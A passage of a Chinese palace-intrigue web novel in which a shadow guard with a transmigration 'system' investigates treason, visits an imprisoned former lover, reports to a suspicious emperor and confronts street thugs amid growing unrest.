几人会面之间,街道的拐角处又冒出来几个衣着古怪的青年人,皮肤黝黑,手里举着粗糙的长刀就要打过来。 这群人举手投足都比放冷箭的几人还差,被谢璇衣挥刀的架势吓到,就慌乱地逃了回去,躲在阴暗的房间里暗中窥伺。 更像是居住在这里的普通镇民。 “我大概看明白了,”谢璇衣看向为首的女人,“这位姑娘怎么称呼?” “属下阕梅。” 谢璇衣点点头应下,“先回去接一位我的……同僚,有话到怀城再说。” 不管姜城的实际归属到底在何处,这里都绝对不安全。 见摇光前,几人又重新蒙好面。 摇光见几人装束,似乎觉得好笑,看了看自己,又看了看谢璇衣,似乎是没想到,他们北斗这群暗卫也会有找暗卫的一天。 多年同僚情谊在,摇光对谢璇衣心存愧疚,也没有多问,谢璇衣让做什么他就做什么。 为了掩人耳目,两人择驴车向怀城去,拉车的人也换成了另一个暗卫。 车内绝对安全,谢璇衣深吸一口气,看向摇光的眼睛。 “你要信我。” 摇光坚定地点点头,“我信。” “我怀疑,皇帝是要我们来送死的。” 谢璇衣极快说完这句话,眨了下眼,皱起眉,下一句话已然压上。 “现在姜城已经秘密谋反了,这里的永朝百姓态度或许已向南疆了,待下去,必然是死路一条。” 摇光也皱了皱眉,干瘦的脸上有一丝疑惑,“为什么,可是为什么我们没得到任何讯息。” 北斗选择核心成员的标准很严苛,却也是公开的,想要更换对应领事,只需要扶一个合乎标准的心腹上来。 想要一朝废两个领事,却还没有任何预备领事的风声,这更是不对劲的。 “是开阳。” 谢璇衣低下声音。 摇光不敢说话,只是长长地吐了一口浊气。 怀城驻军城将见到两人,又听过来意,只是衣袖一挥。 “这不可能,大人。” “近日两城贸易一切正常,瞧不出一丝异样,恕末将无能,不能因您一面之言出兵。” 谢璇衣点点头,早就想到了这个结果,也并不惊讶。 对方作为一城城将,也该对自己的驻地负责,只是他还要多废些心思了。 夜间,谢璇衣和摇光暂时在军营中休息。 谢璇衣担心出乱子,又将前段日子的书信重新派了一份出去,有要紧事,也有一些昔日北斗友人的寒暄之语。 官鹤养的鸟俯冲下来,等待谢璇衣拴信,他盯着,忽然灵机一动。 送走鸟后,谢璇衣盯着头顶上,“系统,我拿到新地图了,帮我对比一下。” 他知道从哪里突破了- 自打过了年,帝京中最震耳欲聋的谈资,莫过于沈适忻下狱。 所有人都没想到,年前那一场火,竟然烧出那么些旧事。 于是茶楼里,说书先生又开始添油加醋,将沈适忻所作所为形容得如同恶鬼修罗。 而吐沫星子里的主角全然不知。 天牢太过于昏暗,潮湿腐臭的气息令人作呕,哪怕北斗的人路过,都要皱一下眉。 “好久不见,沈大人。” 来者语气轻松,脸上的笑也自然阳光灿烂,丝毫没有被这里的气息污染。 牢房的门被人从外面拉开,窸窸窣窣的铁链晃动声让人心寒胆惧。 狱卒点头哈腰地放开阳进来,又锁好牢门,离开此处是非之地。 开阳拍了拍审讯官员座位上的灰,倒是不介意染脏了衣袍,一撩下摆坐下来。 他盯着沈适忻看了片刻,才啧啧感叹两句,满嘴说着“时过境迁”之类的话,文绉绉的,听在对方耳朵里无端恼火。 沈适忻慢慢抬起头,血混杂着汗从鬓发间流下来,拖曳出长长的痕迹。 他动了动手,听得腕上厚重的手铐“哗哗”作响。 “你要做什么。”不过几日,他嗓子便哑得不像样。 开阳笑靥灿烂,“您说呢沈大人,当然是审讯啊,莫非是来说您是无辜的?” 他盯着沈适忻赤红的眼,半晌撑回身,翘起二郎腿,一副玩世不恭的模样。 “既然沈大人不说,那我先说,就当来抛砖引玉了。” “沈大人,您猜猜您为什么会被抓。” 沈适忻漆黑的眼底没有一丝光亮,“结党营私、蓄养私兵,不过这些,你都知道的。” 开阳不爱听,歪着头换了条腿翘,“没意思。” “不过我知道你不知道的。” 他编好的发辫缀着红宝石和金珠,在幽暗的侧光下眉眼深邃。 “猜猜吴家写给你的信上有什么?” 沈适忻顿时了然,立刻攥紧了手,震得铁链聒噪地摇晃着。 “你是故意的,”他喘了口气,“你就这么心甘情愿放弃你的王子之位,给那昏庸的老皇帝当一条走狗?” 开阳托着下巴,手上的毛笔转了一圈,表情瞧不出喜怒,“什么走狗,无非是道不同。” “沈大人果然消息灵通,我娘当年趁着事变,带着我与她腹中的妹妹南下流亡。后来不过为讨一口饭吃罢了。” 他说着,话锋一转,又看回沈适忻,像是欣赏他狼狈的模样。 “沈大人消息再灵通,现在也束手无策了。” “最后的人马都被你送给了谢璇衣,倒真不怕他心一狠,你精兵尽折?” 他提到谢璇衣,沈适忻忽然又有了力气,似乎要冲过来,刚站起身却只是闷哼一声,重新半跪在地。 “你也配提他?” 开阳“哟”了一声,“那你呢,沈大人,你配吗?” 他长吁短叹,千回百转地“哦”了一声,抽出一沓信纸,一张张当着沈适忻的面抖开。 每展开一张,沈适忻脸上的血色就褪去一寸。 开阳把成沓的信纸在他面前晃了晃,假模假样感叹:“倒不知道沈大人如此痴情。” 信纸成色很新,左右超不过一月,可纸面上却已经毛毛躁躁起了褶皱,像是被人摩挲过千千万万遍,墨迹已失去了光泽。 像是被人放在枕边,寄托着某份朝思暮想,情深至切。 字体圆润,像是运笔之人用不惯毛笔,整体却很清秀。 写字之人成熟了太多,却还是有某一部分与从前并无差异。 沈适忻看着,目光有一瞬停驻。 他从北漠回来前,就猜到皇帝要对世家下手。 只是千算万算,算不过吴家为了自保,先一步把他卖了。 而他当时远在北漠,府中下人只能借口他伤痕未愈,闭门不出,也因此错失了扳倒吴家的最后时机。 若说后悔,他倒是不后悔的。 这些都是他欠谢璇衣的,为他受伤,甚至为他流亡、殒命,现在都心甘情愿,如若蜜糖。 可是他也怕,他怕自己真死在这座暗无天日的囚牢里,身边连一丝谢璇衣的讯息也不剩下。 他不想死得太干净,就好像枉费了昔日那番纠缠。 开阳把他这幅怔愣的样子看在眼里,轻笑一声。 那沓信纸被他合拢在手心,微微用力卷了卷,收成一束漂亮的形状。 之后,摊开,撕碎,扬起。 不知道从何处吹来一阵阴冷的风,天牢里的窄小天光倾泻,竟也微微飘起了雪。 那捧飞扬的碎屑就像泛黄的飞雪,掺杂着四处散去,有些落在墙壁上的烛台里,骤然明亮,却又转瞬而逝。 “实在是在下记性不好,忘了,这大概是沈大人留在身边的最后一点慰藉了吧。” 开阳笑得弯起眼,指挥狱卒,“可千万别动沈大人的心头宝呀。” 那群狱卒贯来会见风使舵,点头哈腰地送走了开阳,就对沈适忻冷眼相待,毫不犹豫地清扫走满地纸屑。 “黑黑白白看着怪晦气,也就你还当个宝。” 他们说着,要去夺沈适忻手心攥着的最后一把,却无论怎么用力,都抠不开沈适忻的手心,只得作罢,重重锁死了牢门。 几不可察的雪还在断断续续地落着,沾地就化作一滩冰水,狼藉地润湿了青苔。 沈适忻慢慢松开手。 手心里揉皱着一把淡黄色的宣纸。 他自残伤透的掌心,两个血洞还没愈合,刚刚结痂的创口又被指甲掐破,浅红的液体濡湿了贯会吸水的宣纸。 斑驳狼藉,面目全非。 牢房里干净地方不多,他几乎温柔地将那一把碎屑放置于此,指甲缝里染透了血腥气,颤抖着徒劳地想要拼凑起来。 可是那些纸屑太轻了,不过他一抬手,就尽数掀翻,像一群刚刚破茧的白蝴蝶,头也不回地离他远去。 似乎在嘲笑他,做尽了无用功,不过都是自欺欺人罢了。 他与谢璇衣几乎是朝夕而对的八年,他笑过的每一声,骂过的每一字,此刻都像是最刻薄的诅咒,回馈己身。 沈适忻抬起头,看向那一处天光,却觉得眼前模糊。 大概黄泉路上,他连一盏引路灯都不得见。 第33章 吴娴刚走进天牢,就险些被飘飘洒洒的纸迷了眼。 她故作被吓到,向一旁侧了侧身,一脚踩在湿滑的青苔上,踉跄两步,鲜艳衣摆蹭到地上的泥渍,一时间很是狼狈。 一旁跟着她的引路宫女见状,花容失色,紧张地小声絮叨:“姑娘,您等下还要面圣,万一被圣上知道您偷来天牢看望这样恐怕不妥。” 吴娴闻言,面容也紧张起来,想要伸手擦掉那团污渍,却被蹭花开,浸入织物纹理更深层。 她看起来比宫女还慌张,用力搓了搓指尖染上的乌黑,“这可……这可如何是好。” 宫女正要安慰她,吴娴先一步灵机一动,很不见外地攥住宫女的手,满眼希冀,“姑姑能否替我取一身衣裳来。” “当然,姑娘莫慌。”宫女安慰她两句,叮嘱她不要乱走,就撂下人急匆匆去拿新衣裳了。 吴娴好脾气地笑了笑,神情温柔怯懦,目送着宫女远去。 来之前吴娴打点过狱卒,如今天牢内的防守少了一半。 她鬓发已经梳成了很成熟的模样,点翠步摇颤颤,一身喜庆的朱红色衣裙,仪态端庄,面无表情地从两旁癫狂或是平静的牢房走过,无视了疯狂的死囚发出的声音,最终,那双缀着珍珠的鞋停在尽头。 借着微弱的光亮,吴娴朝牢房之中笑了笑。 “沈适忻,好久不见,娴儿今日来,是要向你分享喜事的。” 牢房内一片死寂,吴娴却没有被人漠视的不快,在原地来回踱步,最终一拍手心。 “娴儿将是四皇子的侧妃了,沈哥哥,你瞧起来很意外,是不是好奇,为何我没与我那父亲一同软禁?” 她唇还是微笑的弧度,眼睛却盯着落在栏杆上的小虫,似喟似叹,“他这个当爹的不中用,做女儿的总要亲自争取。” “四皇子蠢笨,却好拿捏,他那正妃也是个无权无势的。我给他下了蛊,一字一句告诉他,他爱我,爱得离不开我,非要娶我进府才好。” 吴娴拨弄着耳朵上的东珠,微微歪过头,像是不好意思一般。 “于是他在查到吴家前一日来提亲。郎情妾意,娴儿不得不嫁了。” 吴娴一口气说完这么长的话,慢慢蹲下来,华美的裙摆拖了地,她却没有一丝惋惜,任由金银泄地狼藉。 她手指间摩挲着什么,眼神落在暗处的沈适忻身上,杏眸眯起,往日眼波流转的瞳透不进一丝光亮。 “那蛊本来是想趁灯会下给你的,沈适忻。可惜你是个蠢的,偏要一意孤行,与谢璇衣做一对火海鸳鸯。那时我就后悔了,杀鸡焉用牛刀?” 她动作停了停,倏然站起来,轻笑一声,“所以我今日是来和你道别的,顺便……送你一些黄泉路上的小礼物吧。” 吴娴从指尖褪下抚摸着的东西,银光一闪,她捏在眼前打量一瞬,恩赐一般顺着缝隙丢进牢房内。 “喏,抄家那日从你府上搜出来的好玩意,四皇子说新奇,便送给我了,沈适忻,你看看眼不眼熟?” 闪亮的小环在地上弹了两下,没入散落的稻草。 沈适忻靠着墙坐了许久,阖着的眼顿时睁开,脸上才有了除死寂外其余神情。 他颤抖着骨节突出的手指将银色素圈紧紧攥住,却又生怕染了血,不舍得握太紧。 吴娴很满意看到他这幅样子,很新奇地凑过去,丝毫没有先前被血腥气冲得蹙眉的姿态。 “也罢,他到底是要比你先上路了。” “你说什么。”黑暗中,吴娴听见今日的第一句哑音,堪巧对上沈适忻几乎含血的双眼。 她拧眉,不耐地后退一步,“我说,谢璇衣要死了,陛下想要血洗的何止世家,否则怎会让他去姜城送死。” 有异心的何止世家,当然还有早已各踞根节的北斗领事。 皇帝年迈,疑心极重,否则又怎会急不可耐从沈家下手,又怎会频频将得力下属迁离漩涡中心。 听到远处带着回音的脚步声,吴娴面色微冷,笑容嘲讽地留下一句“珍重”,甩袖快步离去。 沈适忻在稻草干燥的部分反复擦净左手,手背上留下深深浅浅刮伤的红痕,心乱如麻。 他攥住戒指又松开,无比珍视地细细摸过每一寸,眼神落在头顶那一寸窄小的天光。 吴娴说,谢璇衣要死了。 不会的,他怎么会呢,他与旁人不同的。 沈适忻在心底喃喃自语,仿佛要争出所以然,安抚自己。 他又食言了。 他说他要做谢璇衣手中的一把刀,如今却困在这暗无天日的一隅。 也不知道那些手下……他们大抵是办事利索的,无论如何也能护住谢璇衣。 可他又断得那么决绝。 万一他真的没有接受那些人。 他…… 沈适忻的思绪逐渐变得没有逻辑,指尖却还一寸寸摸着戒指,像是要把每一处不够精细的瑕疵都记住,来世偿还。 正这时,他指腹被一处不规律的凸起绊住,不像是瑕疵,倒像是文字或图案。 他猛然抽离思绪,忍着伤口的灼痛,挪到最贴近光源的地方细细看。 是阳刻的小字,技法很拙劣,还有雕刀错开的微小刮痕,被人慌张地打磨平整,故而边缘格外光滑。 字体拙劣地模仿着他,透着股认真的傻气。 那三个字沈适忻写过无数遍,也教过谢璇衣一遍,只有一遍。 他觉得对方蠢,大概是学不会自己的运笔,因此只是敷衍地在废纸上行过一次。 可他从未在乎过谢璇衣酸着眼睛,把这份含着隐隐希冀的冬至礼送给他时,曾经许过的愿。 太早了,太多了,太重了。 彼时他玩笑一般,把谢璇衣的全部念想付之一炬的时候,大概从未想过如今会引火烧身。 那个冬至像极了今日,寒霜刺骨,满原积雪,有人痴心望断,潦倒一身。 倒真是像开阳说的那般,时过境迁,物是人非。 周遭的空气变得更加寒冷,一缕一缕的风从天牢的大门吹进来,夹杂着附近河道里的腥气。 沈适忻的伤口还在红肿,额头滚烫。 眼前灰蒙蒙的,他茫然四顾,感叹幽冥道的传说师出无名。 分明没有什么阴曹地府。 可是他真的要死了? 他……若是连黄泉路也要与谢璇衣同行,他该厌了自己吧。 沈适忻像鱼离了水,骤然急促。 不行,他不能让谢璇衣连黄泉路都走不安稳。 不,不对,谢璇衣不能死,他要出去,他要护住…… 灰蒙蒙的雾气越来越浓,他几乎要失去知觉,汗珠顺着额角流下去,重重砸在地面上。 “啪。” 他猛然睁开眼。 谢璇衣双腿交叠,坐在开阳坐过的位置,抬着头垂眸看他,眼里冷极,手上慢慢卷起长长的鞭子。 那条鞭子刚刚砸在沈适忻身旁的墙砖上,动静极响,就连远处骚乱的牢房也震慑住,顿了一顿,不敢再出声。 “醒了?” 谢璇衣气有些不顺,别过脸轻咳两声,转回来面无表情地看着他。 “醒了就来说说你都做了什么吧。” “我不爱听谎话。” 沈适忻停跳半拍的心脏骤然急促,几乎要凑过去靠近他,想要抓着他的手,问他这些日子的处境。 可是他才往前挪了一尺,就被手脚的镣铐止住动作。 谢璇衣眼底一点轻蔑。 沈适忻只能停在原地,张了张干裂的唇,一时间没说出话。 谢璇衣耐心地等着他扯谎。 “璇衣,你,你怎么又瘦了。” 他嗓子喑哑,挣扎半天,说到“瘦”字时候几乎已经发不出声。 没想过对方要说这种话,谢璇衣蹙眉,下意识摸了摸绷带缠绕的手腕,没有接话。 “那换我问你。” “你在家中安置装作家丁的死士三百人,在近郊大小铺面安插眼线、私兵,确有其事?” 沈适忻眨了下眼,哑着嗓子,“有。” 一旁狱卒装扮的人没想到谢璇衣逼供效率这么高,欣喜若狂,很快尽数记录在案。 “你勾结盐铁官,借此调查各地人口流动讯息,还专门记录在册,是要做什么?” 谢璇衣掏出一本褐色封皮的册子,册子两面空白,被他拍在地上哗啦啦翻页。 他凝神,等待分辨沈适忻说谎的痕迹。 “就是你想的那样。”他擦掉唇边的血渍,扯出一个很浅的笑,“我勾结皇子,养精蓄锐,意图谋反。” 这些是他爹所作所为,此刻尽数扣在他头上,顶着数条罪名亲口承认时,沈适忻心里倏然畅快不少。 谢璇衣表情不变,点了点头。 “陛下想知道的都在这里了,你先出去,我有话要单独问他。” 狱卒低下头,面露为难,“天玑领事,不是在下刁难,陛下口谕,不许您与罪人沈氏单独同处一间……” 话音未落,谢璇衣解下一袋银子,沉甸甸的,丢在桌案上,侧过头看他。 狱卒拿了好处,面上不悦立刻消失,“领事,在下腹中疼痛难忍,且先去行个方便。” 狱卒走远之后,谢璇衣看回沈适忻,压低了声音。 “你知道我要问的到底是什么。” “沈适忻,巫蛊之事,你为何要认。这与你无关。” 听到他的话,沈适忻勉强抬起头,唇上血已经干了,恢复了先前干裂的样子。 他一身很薄的白衣,靠坐在墙边,血洇出来,早就盖不住。 “璇衣,你语气动摇了,你是不是还……” “别这么叫我,恶心。” 他止住沈适忻的话头,强硬地掰回正题,“我再问你一遍,巫蛊之事,你为何要认。” “因为我相信你。” 沈适忻努力想把谢璇衣的模样和记忆中的进行比对 他真的比从前瘦了太多,腰都窄了一圈,但是眉眼之中的冷肃越发凸显,直觉也更尖锐了。 他成长了,沈适忻竟然有说不出的酸涩,更多大抵是感叹。 若是他从前珍惜过,在乎过,要是早些把心意看透,或许谢璇衣就一辈子会很好。 谢家人不会再欺辱他,他也会吃穿都用最好的,金尊玉贵地被人疼爱一生,潜心仕途或是纵横商海,怎样都好。 不会像现在这样,满手鲜血。 和他一样。 可惜没如果。 即使现在他想用力伸手,把谢璇衣托出这个肮脏的泥潭,也来不及了。 “那你还真不要命。” 谢璇衣笑了声。 现在,谢璇衣只会冷冷静静地掰开他抓着自己的双手,剖开他那颗已经浑浊的心脏,嗤笑着说他蠢得可怜。 “我相信你与旁人不同,你永远知道怎么从险境里脱身,你和我们所有人都不一样,”沈适忻说到这里,语气有些困惑,他阖眸又睁眼,声音很小,“你一定会活下来,或许有一天会逃离北斗,离开最后记得你的,我们几个人。” “你会逃到一个桃花源里,然后,等到王朝、人间,都变成泥灰尘屑,你就像凤凰涅槃一样,再出现。” 沈适忻觉得自己在讲一些荒诞夸张的笑话,还喘着气笑了笑,谢璇衣心跳却骤然加速,像是被人莫名猜出了底细,让他不禁有些恼怒。 他还要张口,却见沈适忻一直看着自己的眼眸极慢地眨了眨,终于闭上。 似乎是睡着了。 谢璇衣走过去,居高临下盯了片刻,探了探人的鼻息。 没死。 他内心有困惑。 为什么,为什么沈适忻要替他认下巫蛊的罪名。 这无疑是加快了他走向绞刑架的脚步。 “系统,”他叫了一声,“兑换一副消炎药。” 系统很快换到,一小包浅色的药粉落在他手心,谢璇衣默不作声,把那包药兑进沈适忻的碗里,非常没有耐心地撬开沈适忻的唇,灌了下去。 这算是替他拖延时间的报酬。 消炎药吃一次是没什么用的,能不能撑过去就看沈适忻自己了,最好再痛苦几日,别那么早死掉。 谢璇衣看了他一眼,还有些心疼三点积分。 余光落在沈适忻手心攥着的戒指上,他心底又一股无名火,想要抢出来熔掉,却料想不到病号手劲不小,像护食一样紧紧抓着,谢璇衣没有办法,只得放弃。 任务完成,远处狱卒试探一声:“领事,您……” “来锁门。” 他略一颔首,大步走出牢房。 铁门撞上,金属碰撞声刺耳,又引起远处囚犯们的不满。 狱卒不耐烦地去教训。 暗处,沈适忻蓦然睁眼,颤抖的指腹沾了沾唇角剩余的水渍,紧盯着那只空碗,锐利如鹰隼。 脸颊似乎还余存着谢璇衣手心的温度,很凉,有层薄茧。 他回味着口腔里怪异的气息,竟然期待是至毒之物,好让他再还几分旧债,死的不那么愧疚。 沈适忻盯着幽暗的火苗,暗暗笑了。 谢璇衣,果然是有太多秘密的人。 第34章 谢璇衣自然不知道天牢里的见闻,也无心去回味。 他长长吐出一口气,整理好身上的衣袍。 他从姜城回来那一日,皇帝很惊讶。那种惊讶大抵不是平反有功的惊讶。 谢璇衣看在眼里,险些冷笑。 毕竟对当今陛下大不敬是要杀头的,他还不想阴沟里翻船,死在这种桥段上。 前些日在姜城面见城将、拿到新地图后,他和摇光废了好一番功夫,才说动城将调一百弓箭手任由己用。 他在旧地图上找到一处昔日的油料作坊,临近姜城南疆人驻守的区域,侥幸大火攻城得手,血洗城池。 手段有些残忍,却是不得已而为之。 毕竟最早残忍的不是他。 谢璇衣一板一眼地给皇帝老头汇报过工作,看着他强忍着挤出一个笑容,夸他机智,又赐官赐金,一时让他出尽了风头。 他摸了摸身上穿的御赐衣料,眼角冷光一闪。 看上去很有牌面,可他一个见不得光的皇家暗卫,穿上这身人皮,难道真的是恩赐吗? 一旦所有人的目光集中在他这个冒出来的刺头上,那么北斗之人的身份就越发岌岌可危。 等到他真的被人揪出身份,他和撞破皇家秘密的那个倒霉蛋一起,就成了杀鸡儆猴的那个鸡。 有宫女托着小盏从殿内出来,谢璇衣低下头,借着咳嗽的动作挡住面容。 宫女微微行礼道了句“大人”,便走远了。 很快,吴娴也从殿上出来,踩着汉白玉的石阶,拾级而下。 她跟在四皇子斜后方,似乎说着什么悄悄话,不一会就羞红了脸。 两人路过谢璇衣身边时,慢下脚步,谢璇衣礼数周全,“见过四皇子、吴小姐。” 四皇子眼神没有聚焦在他脸上,有些淡淡的,不愿意理他似的。 他还没开口,吴娴就用手指戳了戳四皇子的小臂,不好意思道:“殿下恐怕是觉得谈大人同我说话不妥,有些吃醋呢。” 她笑了笑,从袖口抽出一副请柬。 “娴儿礼数不周,唐突了谈大人,还未亲自到您府上拜会,又唯恐冒犯大人,只得现在补上了。” “下月娴儿与殿下成亲,还望谈大人亲临。” 一个皇子的侧妃,说话如此卑躬屈膝,饶是谢璇衣想尽了办法拒绝,也不得不先硬着头皮收下,等到过几日再作打算。 三人相□□过头,说了些空话,便各自离去了。 谢璇衣却始终觉得不对,忍不住回头去看。 走在四皇子身后的吴娴手指上缠着亮晶晶的丝线,巧合一般也回过头来,和他探寻的目光撞到一块,微笑着比了个“嘘”的手势,笑意却不达眼底。 谢璇衣恢复如常,回过头迎上殿前的太监,一撩衣袍走上白玉长阶,进殿面圣。 “陛下,谈大人求见——” 大太监尖尖细细的嗓音,隔着店门都一清二楚。 “让他进来。” 这一句是皇帝的。 他嗓音一如平常,有老态,却不疲倦。 谢璇衣进殿时不动声色地给传话太监赏了银子。 这一次的太监,和他从姜城刚回来时瞧见的面孔,又截然不同了。 皇帝太老了,老得疑神疑鬼惊疑不定,恐怕马上就要恶化到刚愎自用的程度了。 他只敢在心里想想,盯着花纹吉祥富贵的地毯眨了眨眼,整理好表情。 皇帝听完他明面上汇报工作的来意,借着叙家常的借口屏退了所有下人。 偌大金銮殿立刻寂静。 沉香袅袅,氤氲在雕梁画栋之间,好似仙境。 “陛下,罪人沈适忻俱已招供。” 他在皇帝面前跪下来,恭顺而冷肃的气魄刹那充斥这具文官的皮囊。 皇帝看着他,眼神似是在揣摩,随后从折子间抽出一份狱卒的记录,一字一句细细看起来。 他没让谢璇衣起,谢璇衣便只能老老实实跪着,哪怕膝盖酸痛双腿发麻,也不能从口中泄出一个音。 随着审阅折子接近尾声,皇帝的眉头逐渐舒展开。他左手抚摸着龙椅上雕刻细腻华美的红木扶手,眼珠子转回,看向殿下长跪不起的谢璇衣。 “起来吧。” “你做的不错,天玑,”皇帝把折子合上,像是突然来了聊天的兴致,问他,“你可知朕为什么突然对沈适忻下手?” “属下不知。属下不过为陛下办事,做陛下最忠心之人,尽忠心之事,至于原因,不知,也不应知。” 谢璇衣虽然站起来,却还是低着头,声音像是直接从胸腔里发出来一样,很低沉,听着颇为可靠。 “嗯。” 皇帝点头,挥了挥手,“你下去吧,接着查与沈家往来密切那几家,若是有人要出帝京,拦住了。” “是。” 谢璇衣点头。 他行过礼,刚想走,又回过头来,声音清冷得似是琉璃盏,“陛下,属下斗胆,有一事想问。” 皇帝手上,朱笔吸饱了赤色,笔肚圆润,蓄势待发,“怎么,你想为沈适忻求情?” “不,”谢璇衣终于在皇帝面前露出一个笑容,很淡,面容却立刻鲜艳起来,“属下想问您,何日行刑。” “我不想为沈适忻求一字情,我只想看沈适忻死。” “哈哈哈哈哈,好!天玑果然真性情,你且侯着,莫急。” 皇帝笑得颤身,宽宏大量地原谅了谢璇衣的出格。 大殿里回荡着他的笑声,震耳欲聋,朱笔上落下鲜艳的一滴红,笔墨浓稠厚重,刚好盖住摊开的折子上官员落款。 谢璇衣维持着一点笑,出了金銮殿。 他摸了摸僵住的脸,慢慢蜷缩起手指。 四十五 宫门口,官鹤早早备好车马候着,准备送谢璇衣回新迁的宅院。 宅院也是皇帝那日赏赐之物,谢璇衣想着不住白不住,便吩咐官鹤带人去收拾过,后来探查线索焦头烂额,竟然自己忘了这件事。 又在麻烦旁人,谢璇衣上了马车还有些心虚。 恰好官鹤问起今日殿中见闻,谢璇衣便粗粗讲了一遍,哪知道刚说出“我说,我巴不得沈适忻死”,官鹤就很怪异地“啊”了声。 “领事,您就这么盼着朝中再乱些?” 谢璇衣看他,一脸恨铁不成钢。 “说什么呢,沈适忻是死不了的,皇帝不会任他就这么干干净净地死的。” “单是抓一个沈适忻,皇帝已经浪费了太多人力物力在其中,要是只为了一个沈家主谋,倒没必要如此大费周章。从他往日杀人放火、划分势力里挑挑拣拣,这些事情细数起来,够沈适忻砍头八百个来回带拐弯的。” 官鹤的表情又变得很奇怪。 谢璇衣低头,摸了摸衣摆上绣着的禽鸟,“拔出萝卜总会带出泥,现在萝卜有了,泥还没洗干净呢。” 就是不知道,皇帝有没有这个耐心一点点抓住了。 这一句他没说出来。 到后面,官鹤只是静静听着,一句话也说不上来,眼睛却盯着他抚摸花纹的手,不知道在思考什么。 回到宅院,谢璇衣托下人带了身便服回来,顺便叫官鹤收回巫蛊之事的情报。 许多张颜色、字体各异的纸条汇集在一处,谢璇衣松松挽了长发,很有耐心地亲手研起墨来。 可惜那一砚好墨,还没写几个字,就干了大半。 谢璇衣看完纸条的表情,不似先前那么愉悦。他紧紧抿着唇,把字条一张张在烛台上烧掉。 巫蛊的谣言,是他头脑一热,走出来的一步险棋。 自打他从北漠回来之后,包括在南疆那将近二十日,都一无所获,他屡屡试探,系统始终给出了“未检测到异常”的答案。 他不是一个很有耐心的人,在这个小世界又过了几个月,现在将要立春了,衣服也越穿越薄了,他的修复进度却始终卡在不尴不尬的数值。 百分之四十五。 一个说多不多,说少又难以忽视的进度。 堵得他如鲠在喉。 所以他不得已广撒网,甚至动用了阕梅几人,散播空穴来风的“巫蛊”传言,期待有官员自投罗网。 然而料想不到的是,反应更大的是民间。 谢璇衣披衣起身,看向门口,下一刻,仿佛早有预料一般,官鹤冒冒失失地冲进来。 “领事,附近巷子有人闹事,似乎已经报了官,却迟迟没有人来。” 他说的含糊,听不出具体内容,谢璇衣轻托额头,叹口气。 毕竟都说到这份上了,他不管也得管了。 “备马。” 骑马的效率远高于坐车,冷飕飕的风擦着鬓角过,掠起他发尾,微微颤着。 坐在马上,谢璇衣抓紧了缰绳制止马冲刺,眯着眼睛看向巷子里的一团乱麻。 他听了百姓七嘴八舌的交谈,勉强明白了缘由。 无非就是街头混混因为铺子的位置起了争执,向寻常百姓勒索,不得手便提刀砍人,有人重伤。 谢璇衣挥了挥手,叫官鹤去把血流不止的受害人抬去就医。 那群混混的目光一下子转移到了谢璇衣身上,古怪又猖狂地笑着,凑过来要砍这手无缚鸡之力的小白脸。 生锈的斧头刚落下几寸,就被一柄银红长刃从中接上,不过一个寸劲,染着血气的斧子就像琉璃一般碎裂了。 谢璇衣左手扶着马,黑衣黑发都被风高高扬起,他眯了眯眼,刀尖指着混混。 “来。” 混混怕了,匆忙丢下手里的斧子,带着小弟逃命去。 谢璇衣刀尖慢慢落下,利索地收回刀鞘中。 他自然是赢得满堂彩,一时间也没有人再敢闹事。 谢璇衣却没想到,这件事远不止于此。 他回去的路上,被先前的混混连队堵住。 十几个看起来气势汹汹的大汉挡在他面前,本就清瘦的谢璇衣显得更文弱了。 他没有再骑马,下属也都不在身边,更没有地方报官寻公道。 那群混混狞笑着逼近,似乎是要他好看。 谢璇衣目光缓缓转过,状似无意地叹了口气。既然没人,就不用担心秩序。 直接打就好了。 他手中锦衾凭空出世,冷光如电,杀人也如砍瓜切菜,分外利落。 等到谢璇衣停下来,微微喘息的时候,耳边捕捉到了电流声。 还来不及疑惑,他听到系统温柔的电子女声。 “恭喜宿主,异常数据清理进度上升2%。” 昔日他寻遍了各种门路,甚至动用有自噬风险的巫蛊谣言,都没得到一丁点进度提升。 现在,他只是杀了几个混混,进度跳到了百分之四十七。 心里骤然升起一种不好的预感,谢璇衣艰难地呼吸,生冷的空气汩汩流入体内,仿佛要连带着五脏六腑一起,浑身冰冷。 是他找方向的敏锐度太差了,还是真的……这个小世界已经濒临崩溃了? 为什么民间已如此乱了? 谢璇衣的头愈发疼痛,在一串混乱的联想之中,有一个词汇在脑海中跃然而出。 起义。 百姓,似乎要反了。 可是问题出在哪里呢。皇家?百官?地方?这是他百思不得解的。 回到宅院里,谢璇衣安排阕梅身边的几个暗卫去收拾残局。 阕梅今日没有带遮脸的面纱,眸光毫无掩饰地看向他。 “公子,您在烦恼什么,可有阕梅能为您做的?” “这不是您的问题。”她见谢璇衣不说话,拼尽全力联想一番,还以为谢璇衣在烦恼杀人之事,只能如此苍白地宽慰他。 多说多错,人多不可信。谢璇衣闻言只是笑了笑,没再为难她,叫她先去休息。 他要清理异常数据,总不能把所有流民都杀掉,那破解之法…… 兜兜转转又回到了世家。 谢璇衣眸光停留在状告沈家的消息上,若有所思- “大娘,您也吃点。” 流民驻扎的溪流旁,谢璇衣一身简谱装束,脸上擦着煤灰,格外狼狈。 他掰开手里的半个糙面馍馍,把大的一半递给身前衣衫褴褛的中年女人。 女人背着一只破旧的竹篓,面黄肌瘦的婴儿裹在其中,睡得并不安稳。 他左手还紧紧抓着一个六、七岁男孩的手,唯恐被人掠去。 目光落在诱人的糙面馍馍上,她下意识吞了吞口水,流露出自己都难以察觉的渴望。 尽管如此,她依然坚决地拍掉了男孩伸出要接的手,看向谢璇衣时,她不好意思地笑笑,“孩子,你留着吧,这东西难得。” 这不是谎话。在这一群流徙之徒中,日子一日比一日难过,就连草根树皮都快要食不果腹了。 谢璇衣仍然只是笑,主动上前把馍馍塞到男孩手里,很温和又好说话的模样。 这个举动成功打开了女人的话匣子。 谢璇衣努力扯了扯身上过于短小的衣服,呼出一口白气,拂过冻得麻木的苍白双手。 女人和这一群流民一样,从余城到淮南去,为了去讨一条活路,或是拼了满腔的悲愤,和那些大人物决一死战。 谢璇衣出行走官道、有车马,此番乔装混入,才听到这骇人的消息。 他倒是在帝京呆惯了,以为四年前宫变之后,便真是换了一副太平盛世。 ——困难依然在,甚至更多了,柴米油盐一类价格攀升,为生活潦倒的群体越发壮大。 他走之前这样,回来后依然这样。 没有一丝改进,没有一丝扭转,不过是从一个昏聩的掌权人,变成了另一位昏聩的统治者。 如此一想,这个早早辞官游荡的沈父,他是不得不见上一见了- “你们谈大人,可还好?” 今日帝京天清气朗,连带着天牢内明亮不少。 趁着狱卒放饭,沈适忻压着嗓子问。 他已经许多人没见过谢璇衣了,不知他有没有过度操劳,有没有被人刁难。 